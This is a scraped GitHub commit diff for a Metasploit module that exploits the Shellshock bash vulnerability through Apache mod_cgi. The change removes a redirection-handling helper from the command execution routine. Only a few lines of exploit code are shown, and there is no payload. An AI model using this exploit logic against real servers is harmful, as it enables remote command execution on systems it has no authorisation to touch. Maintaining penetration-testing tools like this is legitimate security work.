We read every piece of feedback, and take your input very seriously.
To see all available qualifiers, see our documentation.
There was an error while loading. Please reload this page.
1 parent 9245bed commit ad864ccCopy full SHA for ad864cc
modules/exploits/multi/http/apache_mod_cgi_bash_env_exec.rb
@@ -94,10 +94,6 @@ def exploit
94
def execute_command(cmd, opts)
95
cmd.gsub!('chmod', "#{datastore['RPATH']}/chmod")
96
97
- if cmd =~ />>/ && first_redirection?
98
- cmd.sub!('>>', '>')
99
- end
100
-
101
req(cmd)
102
end
103
@@ -113,13 +109,4 @@ def req(cmd)
113
109
def marker
114
110
@marker ||= rand_text_alphanumeric(rand(42) + 1)
115
111
116
117
- def first_redirection?
118
- unless @first_redirection && @first_redirection == false
119
- @first_redirection = false
120
- return true
121
122
123
- false
124
125
112
0 commit comments